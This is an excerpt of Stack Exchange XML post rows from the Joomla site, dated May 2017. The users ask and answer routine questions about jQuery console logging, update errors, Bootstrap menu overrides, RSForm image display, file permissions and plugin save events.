  <row Id="20687" PostTypeId="1" CreationDate="2017-05-02T16:36:18.913" Score="0" ViewCount="2853" Body="&lt;p&gt;I have a page that I'm loading through jQuery's .load.   The page loads fine, but if I attempt to write to the console.log it does not work?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what I might be missing?   If I use alert() instead of console.log(), it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.abs&quot;).on(&quot;click&quot;, function () {&#xA;alert('You are here');&#xA;    var id = jQuery(this).attr(&quot;id&quot;);&#xA;alert(&quot;ID:&quot;+id);&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.abs&quot;).on(&quot;click&quot;, function () {&#xA;console.log('You are here');&#xA;    var id = jQuery(this).attr(&quot;id&quot;);&#xA;console.log(&quot;ID:&quot;+id);&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;5/3/2017 Update:&#xA;I've created a basic test application to prove my point.  You can view it at: &lt;a href=&quot;http://www.bowling-tracker.com/Test/load_console.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.bowling-tracker.com/Test/load_console.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has 2 pages.  The first is the HTML page with the 2 divs.  Here is the code for that page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;load_console.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div id=&quot;button_div&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;button&quot; id=&quot;button&quot;&amp;gt;Load Page&amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;input_form&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;jQuery(&quot;#button&quot;).on(&quot;click&quot;, function() {&#xA;    var link = &quot;input_form.php&quot;;&#xA;    jQuery('#input_form').load(link);&#xA;})&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then have a page called input_form.php which has its contents loaded to the div named &quot;input_form&quot;.  Here is the code for that page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        This is a Test form.&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;button type=&quot;button&quot; id=&quot;button_log&quot;&amp;gt;Write to Console Log&amp;lt;/button&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    jQuery(&quot;#button_log&quot;).on(&quot;click&quot;,function() {&#xA;        alert(&quot;you are here&quot;);&#xA;        console.log(&quot;Hello World&quot;);&#xA;        alert(&quot;Should have wrote to Console Log by now&quot;);&#xA;    })&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you'll see in my test application, the Hello World never processes to the console.log in Google Developer Tools even though the alert before and after it work perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this test application can provide the details needed for someone to tell me what is going on.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;OK.. I guess I feel stupid now because it's working.  Maybe I just didn't have it on Info.   I hate that Google changed these a drop-down.  It was obvious when they were buttons and you could look at a few of them at a time.&lt;/p&gt;&#xA;" OwnerUserId="11010" LastEditorUserId="126" LastEditDate="2018-11-25T10:31:28.657" LastActivityDate="2018-11-25T10:31:28.657" Title="Using jQuery .load and console.log not working" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20688" PostTypeId="1" CreationDate="2017-05-02T17:08:07.090" Score="1" ViewCount="1508" Body="&lt;p&gt;I have just installed &lt;code&gt;CentOS 7&lt;/code&gt; and installed LAMP and have downloaded Joomla and extracted the zip and granted permissions to folders etc.  If I navigate to localhost I get an error of&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JHtmlBehavior::polyfill not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is causing this error to be displayed?  This is a fresh OS install and a fresh Joomla install&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;I am running php 7.1.4 &amp;amp; CentOS 7 &amp;amp; MariaDB&lt;/p&gt;&#xA;" OwnerUserId="8774" LastEditorUserId="8774" LastEditDate="2017-05-02T19:45:49.000" LastActivityDate="2017-07-06T22:36:31.397" Title="JHtmlBehavior::polyfill not found Error" Tags="|joomla-3.7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20689" PostTypeId="2" ParentId="20687" CreationDate="2017-05-02T17:19:18.707" Score="1" Body="&lt;p&gt;The code snippet you provided works fine for me in both Firefox and Chrome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestions would be first to reset the log - see &lt;a href=&quot;https://stackoverflow.com/questions/7089443/restoring-console-log/7089671#7089671&quot;&gt;this question&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that does not work, try it in a different vanilla browser - if you are using something like Firebug then that can take over the console's natural behavour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, does adding a &lt;code&gt;&amp;lt;script&amp;gt;console.log(&quot;hello world&quot;);&amp;lt;/script&amp;gt;&lt;/code&gt; to your template work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the hello world example works but the other still does not work, can you clarify a bit more about where/how you are adding the script.  For example, my test was on the &lt;code&gt;complete&lt;/code&gt; callback of JQuery's &lt;code&gt;load&lt;/code&gt; function, rather than in the page it is loading. &lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-05-02T17:19:18.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20690" PostTypeId="2" ParentId="20676" CreationDate="2017-05-02T18:44:57.460" Score="0" Body="&lt;p&gt;In respond to @Paul Raver, this technique is used more for desktop as I doubt there are any mobile screen readers. What it does is it adds links only visible to screen readers. Users are then able to tab to specific areas of your website without needing to go through other content that might not be important to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really a simple thing. It just &lt;code&gt;a&lt;/code&gt; tags pointing to anchors on different sections of the page. The &lt;code&gt;a&lt;/code&gt; tags are visually hidden using CSS styling. I've used this simple technique numerous times without any problems. However, this is the first time I'm developing a Joomla site and this is where my dilemma is as in no matter what page I'm at the links always take me to the anchors on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing research of the Joomla system and looking through the system I finally got it to work although I'm not sure why so I'm still a little confused.&#xA;I disabled all SEO Settings in Global configuration and then I also disabled all System plugins. I then enabled all the settings again. All of a sudden the links work correctly. I don't know if it just needed a reset or what, but it's working now.&lt;/p&gt;&#xA;" OwnerUserId="9821" LastActivityDate="2017-05-02T18:44:57.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20691" PostTypeId="1" CreationDate="2017-05-02T21:15:45.707" Score="1" ViewCount="173" Body="&lt;p&gt;Having updated 2 sites to Joomla 3.7.0 I cannot save any articles, the error message is Error decoding JSON data: Syntax error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template is JSN Epic Pro&lt;/p&gt;&#xA;" OwnerUserId="11022" LastActivityDate="2017-05-03T01:13:50.460" Title="Joomla 3.7.0 Update Saving Articles" Tags="|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20692" PostTypeId="2" ParentId="20691" CreationDate="2017-05-03T01:13:50.460" Score="2" Body="&lt;p&gt;This error is probably caused by the improved JSON validation introduced in Joomla 3.6.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes this only affects a few of the modules and can be fixed by running a database query like this or similar (&lt;strong&gt;run a backup first&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update xxxx_modules set params=&quot;&quot; WHERE params = &quot;{\&quot;\&quot;}&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On some sites, a bit more work is required and the easiest fix is running the script by Rob Went which can be found at: &lt;a href=&quot;https://github.com/robwent/joomla-json-db-check&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/robwent/joomla-json-db-check&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is highly advisable to &lt;strong&gt;run a backup&lt;/strong&gt; before running the script but this worked for me on at least one website.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-05-03T01:13:50.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20693" PostTypeId="2" ParentId="20682" CreationDate="2017-05-03T06:20:45.883" Score="0" Body="&lt;p&gt;Creating a Login Menu Item solves this bug.&#xA;System Page Cache must be turned off, another bug of 3.7&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditDate="2017-05-06T08:13:53.100" LastActivityDate="2017-05-06T08:13:53.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20694" PostTypeId="1" AcceptedAnswerId="20696" CreationDate="2017-05-03T06:40:48.127" Score="0" ViewCount="1203" Body="&lt;p&gt;I tried to make my excisting template ready to use with Joomla 3.7.0. Everything went easier then I expected untill I got to the part where I had to implement the menu. In the layout I was using the bootstrap nav-bar with dropdown parts. That is the part where it went wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I searched how to fix the problem and found a few solutions on this site and the joomla site. The solution that fixed the problem in a kind of way is adding this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  (function(jQuery){   &#xA;    jQuery(document).ready(function(){&#xA;      // dropdown&#xA;      jQuery('.parent').addClass('dropdown');&#xA;      jQuery('.parent &amp;gt; a').addClass('dropdown-toggle');&#xA;      jQuery('.parent &amp;gt; a').attr('data-toggle', 'dropdown');&#xA;      jQuery('.parent &amp;gt; a').append('&amp;lt;b class=&quot;caret&quot;&amp;gt;&amp;lt;/b&amp;gt;');&#xA;      jQuery('.parent &amp;gt; ul').addClass('dropdown-menu');&#xA;      jQuery('ul.dropdown-menu li.dropdown a.dropdown-toggle').hover(&#xA;          function () {&#xA;            jQuery('ul.dropdown-menu li.dropdown').removeClass('open');&#xA;            jQuery(this).parent().addClass('open');&#xA;          }&#xA;      );&#xA;    });&#xA;  })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fixes my problem but there is a little problem and that is that when the page loads you first see the old style and than snaps to the correct version. My guess is because the javascript changes the values later than the page is loaded for the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I searched a little more and found solutions where you have to change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;modules/mod_menu/tmpl/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to do a few changes in this places:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;// The next item is deeper.&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        echo '&amp;lt;ul class=&quot;nav-child unstyled small&quot;&amp;gt;';&#xA;    }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/ The menu class is deprecated. Use nav instead&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;nav menu&amp;lt;?php echo $class_sfx; ?&amp;gt;&quot;&amp;lt;?php echo $id; ?&amp;gt;&amp;gt;&#xA;&amp;lt;?php foreach ($list as $i =&amp;gt; &amp;amp;$item)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nothing really solved the problem unfortunately.&#xA;So is there something I'm missing or is it just not possible to use proper?&lt;/p&gt;&#xA;" OwnerUserId="11023" LastActivityDate="2017-05-03T08:37:17.707" Title="Bootstrap nav bar in joomla 3" Tags="|css|bootstrap|joomla-3.7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20695" PostTypeId="1" AcceptedAnswerId="20699" CreationDate="2017-05-03T08:18:42.907" Score="2" ViewCount="436" Body="&lt;p&gt;So far i have been able to pass a K2 image into both a textbox and a hidden field of RSFORM - which is great! But i would like the user to view the item (image) they are ordering while filling the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across this &lt;a href=&quot;https://stackoverflow.com/questions/29485539/use-image-url-in-text-box-to-display-pic-after-submit&quot;&gt;topic&lt;/a&gt; with this solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;#&quot; method=&quot;post&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;url&quot; name=&quot;imglink&quot; id=&quot;imglink&quot;  placeholder=&quot;Insert image URL here&quot; /&amp;gt;&amp;lt;br&amp;gt;&#xA;  &amp;lt;input type=&quot;button&quot; value=&quot;Show Image&quot; id=&quot;btn1&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;div id=&quot;photo&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;document.getElementById('btn1').addEventListener('click', function(){&#xA;  document.getElementById('photo').innerHTML = '&amp;lt;img src=&quot;'+ document.getElementById('imglink').value +'&quot; alt=&quot;Image&quot; /&amp;gt;';&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The solution above is slightly similar to what i want only that i want my image to be viewed before submission and to be submitted as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Thoughts:&lt;/strong&gt;&#xA;I think using the rsform &lt;strong&gt;hidden field&lt;/strong&gt; to catch the image and then passing it to an &lt;code&gt;&amp;lt;img src=&quot;&quot; /&amp;gt;&lt;/code&gt; tag using java-script for it to be displayed may work as in the example above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, i need your kind assistance in solving this and if you need more clarifications to the problem, let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7399" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2018-08-27T17:44:55.937" Title="Display image in RSFORM after passing it through URL" Tags="|joomla-3.x|rsform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20696" PostTypeId="2" ParentId="20694" CreationDate="2017-05-03T08:37:17.707" Score="0" Body="&lt;p&gt;Ultimately mod_menu isn't designed for bootstrap, so the best approach is probably to write bespoke CSS for this module if you are able to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want a more hacky approach that should improve what you currently have, override &lt;code&gt;modules/mod_menu/tmpl/default.php&lt;/code&gt; (ie place a copy of this file under &lt;code&gt;templates/yourtemplate/html/mod_menu/default.php&lt;/code&gt;) with the following changes, which I think should replicate what you are doing with the jQuery:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 61&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $class .= ' deeper';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $class .= ' deeper dropdown';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and (line 87)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    echo '&amp;lt;ul class=&quot;nav-child unstyled small&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    echo '&amp;lt;ul class=&quot;nav-child unstyled small dropdown-menu&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should replicate the following aspects of your jQuery, without having to wait for the DOM to load&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('.parent').addClass('dropdown');&#xA;jQuery('.parent &amp;gt; ul').addClass('dropdown-menu');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We are adding it to &lt;code&gt;deeper&lt;/code&gt; rather than &lt;code&gt;parent&lt;/code&gt;, since it is possible to have a &lt;code&gt;parent&lt;/code&gt; item without a submenu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom of this file, then add the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  (function(jQuery){   &#xA;      // dropdown&#xA;      jQuery('.deeper &amp;gt; a').addClass('dropdown-toggle');&#xA;      jQuery('.deeper &amp;gt; a').attr('data-toggle', 'dropdown');&#xA;      jQuery('.deeper &amp;gt; a').append('&amp;lt;b class=&quot;caret&quot;&amp;gt;&amp;lt;/b&amp;gt;');&#xA;      jQuery('ul.dropdown-menu li.dropdown a.dropdown-toggle').hover(&#xA;          function () {&#xA;            jQuery('ul.dropdown-menu li.dropdown').removeClass('open');&#xA;            jQuery(this).parent().addClass('open');&#xA;          }&#xA;      );&#xA;  })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove your other version of this script from the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By removing the onReady and placing this as soon as the menu html has been loaded on the page, this will be applied at that point rather than waiting for the rest of the page to load before it runs.  At the very least, this should reduce the time where it shows the non-bootstrap style.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-03T08:37:17.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20697" PostTypeId="1" AcceptedAnswerId="20726" CreationDate="2017-05-03T09:55:08.873" Score="0" ViewCount="107" Body="&lt;p&gt;I'm presently on a dedicated server running FreeBSD, and Apache using mod_php. CGI isn't presently an option due to long-running scripts on one of the domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm presently using a simple script to unsecure/secure an installation; but the secure script does not appear to always execute the chmods for e.g. the cache directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find ./public_html -type f ! -user apache -exec chmod 644 {} \;&#xA;find ./public_html -type d ! -user apache -exec chmod 755 {} \;&#xA;chmod -R 777 public_html/cache/&#xA;chmod -R 777 public_html/administrator/cache/&#xA;chmod -R 777 public_html/logs/&#xA;chmod -R 777 public_html/tmp/&#xA;chmod -R 777 public_html/components/com_sh404_sef/cache/&#xA;chmod -R 777 public_html/downloads/    &#xA;chmod -R 777 public_html/content/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above, quite often I find the cache directories unwritable after running the script. If I execute all commands one after another on the command line it works as expected&#xA;It'd be great if you might have an idea what I should be looking at instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestion.&lt;/p&gt;&#xA;" OwnerUserId="2252" LastActivityDate="2017-05-06T17:25:10.437" Title="Securing a Joomla installation on Apache mod_php" Tags="|permissions|apache|joomla-3.7|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20698" PostTypeId="2" ParentId="20695" CreationDate="2017-05-03T10:43:26.250" Score="1" Body="&lt;p&gt;You should be able to do this with PHP using the &quot;Scripts called on form display&quot; section.  The basic steps would be: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set variable to the image path you are passing (ie $_GET, etc)&lt;/li&gt;&#xA;&lt;li&gt;Set variable to the placeholder image value&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do a find/replace using the syntax below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$formLayout = str_replace($find,$replace,$formLayout);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-05-03T10:43:26.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20699" PostTypeId="2" ParentId="20695" CreationDate="2017-05-03T11:38:20.207" Score="1" Body="&lt;p&gt;Thanks for your answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This worked perfectly:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;document.addEventListener('DOMContentLoaded', function(){&#xA;  document.getElementById('photo').innerHTML = '&amp;lt;img src=&quot;'+ document.getElementById('fieldname').value +'&quot; alt=&quot;Image&quot; /&amp;gt;';&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enter this in the &lt;strong&gt;script section&lt;/strong&gt; of your form and disable the &lt;strong&gt;auto layout generation&lt;/strong&gt; in rsform and place this &lt;code&gt;&amp;lt;div id=&quot;photo&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; where you want your image to appear in the form then replace &lt;strong&gt;fieldname&lt;/strong&gt; in the code with the name of your field.&lt;/p&gt;&#xA;" OwnerUserId="7399" LastActivityDate="2017-05-03T11:38:20.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20700" PostTypeId="1" AcceptedAnswerId="20708" CreationDate="2017-05-03T11:58:41.010" Score="0" ViewCount="55" Body="&lt;p&gt;I need your help, I must revive this site but I don’t know what is going on and it doesn’t work the website. The administration panel works fine.&#xA;Any ideas or from where to start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.enpi-medscapes.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.enpi-medscapes.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="45" LastActivityDate="2017-05-04T12:53:22.450" Title="Crash front page, can access any page, only control panel works" Tags="|joomla-3.x|front-end|bugs|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20701" PostTypeId="1" AcceptedAnswerId="20702" CreationDate="2017-05-03T12:06:58.750" Score="2" ViewCount="275" Body="&lt;p&gt;I'm trying to create a plugin that fires when a menu item is saved, but I'm having trouble finding an event to listen to. Sor far I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         function onContentAfterSave()&#xA;         {&#xA;                var_dump('contentAfterSave');exit;&#xA;                /*&#xA;                 * Plugin code goes here.&#xA;                 * You can access database and application objects and parameters via $this-&amp;gt;db,&#xA;                 * $this-&amp;gt;app and $this-&amp;gt;params respectively&#xA;                 */&#xA;                return true;&#xA;        }&#xA;        function onSave()&#xA;        {&#xA;                var_dump('OnSave');exit;&#xA;                /*&#xA;                 * plugin code goes here.&#xA;                 * you can access database and application objects and parameters via $this-&amp;gt;db,&#xA;                 * $this-&amp;gt;app and $this-&amp;gt;params respectively&#xA;                 */&#xA;                return true;&#xA;        }&#xA;        function onExtensionAfterSave()&#xA;        {&#xA;                var_dump('OnExtensionSave');exit;&#xA;                /*&#xA;                 * plugin code goes here.&#xA;                 * you can access database and application objects and parameters via $this-&amp;gt;db,&#xA;                 * $this-&amp;gt;app and $this-&amp;gt;params respectively&#xA;                 */&#xA;                return true;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But not of those are firing. Is there a different event I should be listening to?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="7632" LastEditDate="2017-05-04T11:25:23.357" LastActivityDate="2017-05-04T11:25:23.357" Title="Is there an event for saving a menu item?" Tags="|plugin|menu-item|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20702" PostTypeId="2" ParentId="20701" CreationDate="2017-05-03T12:45:03.207" Score="3" Body="&lt;p&gt;&lt;code&gt;onContentAfterSave()&lt;/code&gt; is the right one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears in com_menus, in the menu item model's save function:&#xA;(administrator\components\com_menus\models\menu.php - line 240)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Trigger the after save event.&#xA;$dispatcher-&amp;gt;trigger('onContentAfterSave', array($this-&amp;gt;_context, &amp;amp;$table, $isNew));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I ran a hello world test by adding a &lt;code&gt;die(&quot;hello world&quot;)&lt;/code&gt; to the &lt;code&gt;onContentAfterSave&lt;/code&gt; in plugins\system\fields\fields.php and this is triggered on saving a menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you compare your plugin to that one to see if there is anything you have missed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(NB the system\fields plugin appears to be new to Joomla 3.7, so it may not exist if you are running an older version)&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-05-03T12:50:05.370" LastActivityDate="2017-05-03T12:50:05.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20706" PostTypeId="2" ParentId="20697" CreationDate="2017-05-03T18:53:22.927" Score="0" Body="&lt;p&gt;There 2 options for you either use the http.conf or the .htaccess file.&#xA;Since you run a dedicated host your best options is the http.conf file that only users with a dedicated host can access and modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no experience with that file so I can not offer a solution.&#xA;I am using the .access file since I am on a shares host.&lt;/p&gt;&#xA;" OwnerUserId="11020" LastActivityDate="2017-05-03T18:53:22.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20707" PostTypeId="1" CreationDate="2017-05-04T10:14:58.533" Score="1" ViewCount="57" Body="&lt;p&gt;I'm building a Joomla component and want a specific field (listtype) in component.&#xA;In administrator/component/com_test/models/forms/testfield.xml I've following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;  name=&quot;test&quot;&#xA;  type=&quot;testfield&quot;&#xA;  label=&quot;JOPTION_FILTER_TESTFIELD_LABEL&quot;&#xA;  description=&quot;JOPTION_FILTER_TESTFIELD_DESC&quot;&#xA;  id=&quot;testfield&quot;&#xA;  class=&quot;inputbox&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In administrator/component/com_test/models/fields/testfield.php I've following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFormHelper::loadFieldClass('list');&#xA;&#xA;/**&#xA; * Test Field class.&#xA; */&#xA;&#xA;class JFormFieldTestField extends JFormField {&#xA;&#xA;    protected $type = 'TestField';&#xA;&#xA;    public function getInput() {&#xA;        return '&amp;lt;select id=&quot;'.$this-&amp;gt;id.'&quot; name=&quot;'.$this-&amp;gt;name.'&quot;&amp;gt;'.&#xA;               '&amp;lt;option value=&quot;&quot;&amp;gt;select test&amp;lt;/option&amp;gt;'.&#xA;               '&amp;lt;option value=&quot;1&quot;&amp;gt;test1&amp;lt;/option&amp;gt;'.&#xA;               '&amp;lt;option value=&quot;2&quot;&amp;gt;test2&amp;lt;/option&amp;gt;'.&#xA;               '&amp;lt;option value=&quot;3&quot;&amp;gt;test3&amp;lt;/option&amp;gt;'.&#xA;               '&amp;lt;/select&amp;gt;';&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In administrator/component/com_test/views/tests/tmpl/default.php I've created a column 'test':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;small hidden-phone&quot;&amp;gt;&#xA;    &amp;lt;?php   echo $item-&amp;gt;test; ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've a problem to save data 1,2,3 to database and second I want that in stead of the values 1,2,3 as saved into the database, the values ‘test1’, ‘test2’, ‘test3’ will be reproduced in this column. I've tried several things (e.g. with JTEXT in 'testfield.php'), but until now I didn't manage to find the correct code. Can anyone help me further? &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-05-04T16:11:49.000" LastActivityDate="2017-08-03T08:16:51.547" Title="Joomla component custom field (listfieldtype) and how to reproduce textstrings in view in stead of number values" Tags="|form-fields-types|joomla-3.7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
